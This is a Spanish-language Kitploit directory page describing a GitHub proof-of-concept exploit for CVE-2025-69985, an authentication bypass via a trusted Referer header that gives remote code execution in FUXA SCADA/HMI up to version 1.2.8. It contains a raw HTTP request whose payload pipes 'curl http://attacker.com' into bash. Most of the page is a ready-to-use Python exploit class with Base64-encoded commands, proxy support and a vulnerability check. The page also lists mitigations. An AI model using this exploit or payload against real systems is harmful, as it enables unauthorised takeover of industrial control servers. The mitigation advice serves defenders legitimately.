Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kaleth4/cve-2025-69985
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónSeguridad SCADA/ICSExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubkaleth4/cve-2025-69985

CVE-2025-69985

Exploit PoC para CVE-2025-69985: omisión de autenticación que conduce a RCE en FUXA SCADA ≤1.2.8. Incluye un exploit Python modular con shell interactiva, codificación de payload en Base64 y soporte de proxy para pruebas de penetración.

19hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2025-69985: Exploit para Autenticación Bypass a RCE en FUXA ≤1.2.8


📌 Descripción General

Este repositorio contiene una Prueba de Concepto (PoC) y documentación técnica detallada sobre la vulnerabilidad CVE-2025-69985, que afecta a FUXA (versiones ≤1.2.8). La vulnerabilidad permite a un atacante no autenticado ejecutar comandos arbitrarios en el servidor (RCE) mediante un bypass de autenticación en el middleware de la aplicación.

A diferencia de vulnerabilidades tradicionales como desbordamientos de memoria en Windows, este fallo reside en una debilidad lógica en el middleware, donde el servidor confunde peticiones externas con internas debido a una validación incorrecta del encabezado Referer.


🚨 Resumen Técnico

CVECVE-2025-69985
TipoAuthentication Bypass via Alternate Path (CWE-288)
ImpactoRemote Code Execution (RCE)
Gravedad9.8 CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Versiones AfectadasFUXA ≤ 1.2.8
PlataformaNode.js
ProductoFUXA (SCADA/HMI basado en web)

🔍 Análisis del Vector de Ataque

1️⃣ Autenticación Bypass (Auth Bypass)

El middleware de FUXA confía ciegamente en el encabezado Referer. Si un atacante envía una petición con:

Referer: http://<target-ip>/

El servidor asume que la petición es interna y omite la verificación del token JWT, permitiendo acceso a endpoints protegidos sin autenticación.


2️⃣ Ejecución de Código Remoto (RCE)

Una vez eludida la autenticación, el atacante puede interactuar con el endpoint /api/runscript, diseñado para ejecutar scripts de Node.js. Al enviar un payload JSON malicioso, se obtiene control total sobre el proceso del servidor.


🛠️ Prueba de Concepto (PoC)

📌 Ejemplo de Explotación (HTTP Request)

POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}

⚠️ Nota: Este ejemplo es ilustrativo. No ejecutar en entornos productivos sin autorización.


💻 Sistemas Afectados

ProductoVersionesPlataforma
FUXA≤ 1.2.8Node.js

🛡️ Mitigación y Soluciones

✅ Soluciones Recomendadas

  1. Actualización Inmediata Actualizar FUXA a una versión superior a 1.2.8 (parche oficial).

  2. Parche Manual Modificar server/api/jwt-helper.js para eliminar la confianza en el encabezado Referer como método de autenticación.

  3. Implementación de WAF Configurar un Web Application Firewall para bloquear peticiones al endpoint /api/runscript que no provengan de redes administrativas conocidas, independientemente del encabezado Referer.


⚠️ Descargo de Responsabilidad

🔴 Este material tiene fines exclusivamente educativos y de auditoría de seguridad. 🔴 El uso de estas técnicas contra sistemas sin autorización explícita es un delito. 🔴 Los autores no se hacen responsables por el mal uso de esta información.


📚 Referencias

  • NVD NIST - CVE-2025-69985
  • FUXA GitHub Repository

🚀 Exploit "Pro" Refactorizado (Python)

Características avanzadas que elevan este exploit a nivel profesional (estilo Exploit-DB o herramientas de Red Team):

✨ Mejoras Clave

CaracterísticaDescripción
🔹 Manejo Dinámico de ShellModo --interactive (-i) que abre un REPL interactivo para ejecutar múltiples comandos.
🔹 Detección y FingerprintingVerifica si el endpoint /api/runscript existe antes de lanzar el ataque (check_vulnerable()).
🔹 Payload MejoradoComando codificado en Base64 para evitar problemas de escape de caracteres (&, >, ", etc.).
🔹 Robustez de RedSoporte para User-Agent aleatorios y proxies (útil para Burp Suite o debugging).
🔹 OOP (Programación Orientada a Objetos)Clase FuxaExploit modular, reusable y extensible.

📄 Código del Exploit (fuxa-exploit.py)

import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """Verifica si el endpoint existe antes de atacar."""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # Payload mejorado: Encoding en Base64 para evitar romper el JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"
Descargar herramienta